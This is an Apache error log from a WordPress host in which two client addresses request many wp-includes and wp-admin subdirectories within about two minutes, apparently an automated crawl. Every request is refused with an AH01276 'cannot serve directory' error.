[Sun Apr 12 23:09:04.227082 2026] [autoindex:error] [pid 25328:tid 25370] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:08.768757 2026] [autoindex:error] [pid 25328:tid 25367] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:10.331341 2026] [autoindex:error] [pid 25328:tid 25394] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:12.003023 2026] [autoindex:error] [pid 25328:tid 25368] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:13.714423 2026] [autoindex:error] [pid 25328:tid 25379] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:13.882357 2026] [autoindex:error] [pid 25328:tid 25372] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:14.057520 2026] [autoindex:error] [pid 25328:tid 25364] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:17.063250 2026] [autoindex:error] [pid 25328:tid 25377] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:20.083603 2026] [autoindex:error] [pid 25328:tid 25391] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:20.257356 2026] [autoindex:error] [pid 25328:tid 25389] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:24.809165 2026] [autoindex:error] [pid 25328:tid 25375] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:26.402187 2026] [autoindex:error] [pid 25328:tid 25372] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:29.493471 2026] [autoindex:error] [pid 25328:tid 25389] [client 173.239.218.53:51515] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:32.501346 2026] [autoindex:error] [pid 25328:tid 25379] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:32.675210 2026] [autoindex:error] [pid 25328:tid 25401] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:32.839346 2026] [autoindex:error] [pid 25328:tid 25403] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:33.014747 2026] [autoindex:error] [pid 25328:tid 25369] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:33.190975 2026] [autoindex:error] [pid 25328:tid 25367] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:42.704869 2026] [autoindex:error] [pid 26599:tid 26618] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:42.888795 2026] [autoindex:error] [pid 26599:tid 26626] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:43.065874 2026] [autoindex:error] [pid 26599:tid 26615] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:43.235821 2026] [autoindex:error] [pid 26599:tid 26603] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:43.418984 2026] [autoindex:error] [pid 26599:tid 26617] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:52.085031 2026] [autoindex:error] [pid 26599:tid 26609] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:52.266149 2026] [autoindex:error] [pid 26599:tid 26611] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:52.466690 2026] [autoindex:error] [pid 26599:tid 26606] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:52.633687 2026] [autoindex:error] [pid 26599:tid 26614] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:52.909125 2026] [autoindex:error] [pid 26599:tid 26624] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:58.766752 2026] [autoindex:error] [pid 26599:tid 26602] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:03.835340 2026] [autoindex:error] [pid 26599:tid 26614] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:04.155834 2026] [autoindex:error] [pid 26599:tid 26613] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:05.781726 2026] [autoindex:error] [pid 26599:tid 26624] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:13.185477 2026] [autoindex:error] [pid 26599:tid 26612] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:13.364542 2026] [autoindex:error] [pid 26599:tid 26622] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:13.546294 2026] [autoindex:error] [pid 26599:tid 26625] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:13.718168 2026] [autoindex:error] [pid 26599:tid 26608] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:19.560932 2026] [autoindex:error] [pid 26599:tid 26615] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:21.215141 2026] [autoindex:error] [pid 26599:tid 26612] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:22.851163 2026] [autoindex:error] [pid 26599:tid 26609] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:37.618366 2026] [autoindex:error] [pid 26599:tid 26619] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:40.655933 2026] [autoindex:error] [pid 26599:tid 26625] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:40.819553 2026] [autoindex:error] [pid 26599:tid 26608] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:43.910167 2026] [autoindex:error] [pid 26599:tid 26606] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:10:45.661482 2026] [autoindex:error] [pid 26599:tid 26616] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:06.964124 2026] [autoindex:error] [pid 26599:tid 26605] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:09.693736 2026] [autoindex:error] [pid 26599:tid 26625] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:12.391279 2026] [autoindex:error] [pid 26599:tid 26614] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:15.883414 2026] [autoindex:error] [pid 26599:tid 26623] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:17.553040 2026] [autoindex:error] [pid 26599:tid 26626] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:17.721492 2026] [autoindex:error] [pid 26599:tid 26622] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:19.395915 2026] [autoindex:error] [pid 26599:tid 26606] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:19.591848 2026] [autoindex:error] [pid 26599:tid 26610] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:19.839734 2026] [autoindex:error] [pid 26599:tid 26620] [client 173.239.218.37:48251] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:26.403708 2026] [autoindex:error] [pid 25437:tid 25462] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:31.016717 2026] [autoindex:error] [pid 25437:tid 25451] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:41.980319 2026] [autoindex:error] [pid 25437:tid 25439] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:42.154462 2026] [autoindex:error] [pid 25437:tid 25459] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
